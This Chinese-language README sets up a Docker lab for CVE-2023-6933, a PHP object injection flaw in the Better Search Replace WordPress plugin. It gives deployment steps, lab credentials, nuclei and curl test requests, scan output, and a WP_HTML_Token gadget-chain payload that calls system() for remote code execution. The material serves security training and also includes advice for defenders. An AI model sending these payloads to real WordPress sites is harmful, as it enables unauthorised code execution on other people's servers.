CVE-2023-6933 漏洞实验环境

概述

本实验环境演示了 CVE-2023-6933，这是 Better Search Replace WordPress 插件版本 ≤1.4.4 中的一个严重 PHP 对象注入漏洞。

漏洞详情

• CVE ID：CVE-2023-6933
• CVSS 评分：9.8（严重）
• 受影响的插件：Better Search Replace ≤1.4.4
• 漏洞类型：通过反序列化用户输入导致的 PHP 对象注入
• 攻击向量：AJAX 端点 /wp-admin/admin-ajax.php，动作 search_replace_db

快速开始

1. 部署实验环境

# 克隆仓库
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933

# 使用 Docker Hub 镜像部署（自动拉取）
docker-compose up -d

实验环境将自动：

• 从 Docker Hub 拉取存在漏洞的 WordPress 镜像（trex999/vulnerable-bsr-lab:latest）
• 使用 MySQL 和 phpMyAdmin 搭建 WordPress
• 安装并激活存在漏洞的 Better Search Replace 插件（v1.4.4）
• 约 60 秒内完成安装

2. 访问环境

• WordPress：http://localhost:8080
• 管理面板：http://localhost:8080/wp-admin（admin/admin123）
• phpMyAdmin：http://localhost:8081（root/rootpassword）

3. 测试漏洞

# 运行自动化 PoC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

# 通过 curl 手动测试
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'

技术分析

漏洞原理

Better Search Replace 插件在其 AJAX 处理程序中存在 PHP 对象注入漏洞。漏洞发生于：

1. 用户输入通过 POST 方式传递给 /wp-admin/admin-ajax.php 的 search_for 参数
2. 动作被设置为 search_replace_db
3. 输入包含序列化的 PHP 对象，且未经正确验证即被反序列化
4. 这将允许任意对象实例化，并可能导致代码执行

PoC 验证方法

我们的 nuclei 模板通过多个验证阶段演示了该漏洞：

1. 插件检测：确认存在漏洞的插件版本
2. 对象注入测试：发送序列化载荷并分析响应
3. 行为验证：确认成功处理了对象反序列化

本实验环境的主要特点

• 不依赖错误信息：PoC 通过行为分析展示实际漏洞，而非依赖错误消息
• 功能性测试：使用安全的序列化对象验证反序列化，不损坏系统
• 自动化部署：零手动配置即可完成实验环境搭建
• 多种测试方法：既支持自动化的 nuclei 模板，也支持手动 curl 命令

文档

快速参考

• README.md：本文件——快速开始和概述
• CVE-2023-6933_POC_DOCUMENTATION.md：完整的技术文档，包含详细的 PoC 分析
• POC_TEMPLATE_SUMMARY.md：需求合规与交付确认

专业 PoC 模板

nuclei 模板（nuclei-templates/cve-2023-6933.yaml）采用专业结构：

• 代码干净，无过多注释
• 全面的技术文档分离保存
• 生产级模板格式
• 完全符合安全研究标准

测试结果

PoC 成功执行

$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]

[INF] Scan completed in 67ms. 4 matches found.

PoC 成功：

• ✅ 检测到存在漏洞的插件版本
• ✅ 通过响应分析确认了对象注入能力
• ✅ 展示了功能性漏洞，不依赖错误信息
• ✅ 提供了成功反序列化的行为验证

安全通知

⚠️ 警告：此环境包含故意引入的易受攻击软件。仅限在隔离的测试环境中使用。请勿部署到生产环境或可访问互联网的系统。

清理

docker-compose down -v

参考

• CVE-2023-6933 详情
• Better Search Replace 插件
• PHP 对象注入文档

---

创建用于教育和安全研究目的

Docker 环境（Docker_LAB_SETUP/）

• WordPress 6.4.0，包含存在漏洞的 Better Search Replace 1.4.3
• MySQL 8.0 数据库服务器
• phpMyAdmin 用于数据库管理
• 预配置 的易受攻击环境

利用脚本

• cve_2023_6933_exploit.php - 全面的 PHP 利用工具包
• wp_html_token_poc.php - WordPress 6.4.0+ RCE 演示
• bsr_direct_exploit.php - 直接漏洞测试

检测工具

• nuclei-templates/cve-2023-6933.yaml - 高级 nuclei 模板
• manual-test.sh - 全面的手动测试脚本

🎯 正确的利用方法

本实验环境展示了一种不依赖错误信息的检测方法，遵循漏洞研究的最佳实践：

1. 基于成功的检测

我们的工具不依赖 HTTP 500 错误，而是检测：

• 成功处理载荷
• 序列化对象的反序列化
• 应用程序响应模式
• 功能性利用证据

2. WP_HTML_Token RCE 利用链

利用 WordPress 6.4.0+ 的 WP_HTML_Token 类实现实际 RCE：

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:14:"touch /tmp/rce";
    s:9:"node_name";s:8:"testnode";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

3. 多种攻击向量

• AJAX 端点利用（admin-ajax.php）
• 直接操作插件界面
• 通过搜索/替换操作进行数据库注入

🔬 测试方法

手动测试

# 测试基本插件存在性
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"

# 使用安全载荷测试漏洞
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"

Nuclei 模板特点

• 多向量测试：5 个不同的 HTTP 请求
• 基于成功的匹配器：寻找功能性处理，而非错误信息
• 全面提取：版本检测、响应分析
• 安全载荷：非破坏性测试方法

手动测试特点

• 插件版本检测与验证
• 多种载荷生成与测试
• WP_HTML_Token RCE 演示
• 全面的漏洞验证

📊 实验环境访问点

服务	URL	凭证
WordPress	http://localhost:8080	admin/admin
phpMyAdmin	http://localhost:8081	root/rootpassword

🛡️ 安全考虑

针对研究人员

• 这是一个故意引入漏洞的环境
• 仅限在隔离/受控网络中使用
• 不适用于生产环境
• 仅用于教育目的

针对防御者

• 将 Better Search Replace 更新至 ≥ 1.4.5
• 为序列化数据实施 WAF 规则
• 监控对象注入模式
• 定期审计 WordPress 插件安全性

📚 教育价值

本实验环境提供以下方面的动手实践：

• PHP 对象注入漏洞
• WordPress 插件安全分析
• 序列化/反序列化攻击
• 小工具链利用
• 漏洞检测自动化
• 安全测试方法论

作者：Trex
实验环境版本：2.0 - 增强的 PoC 方法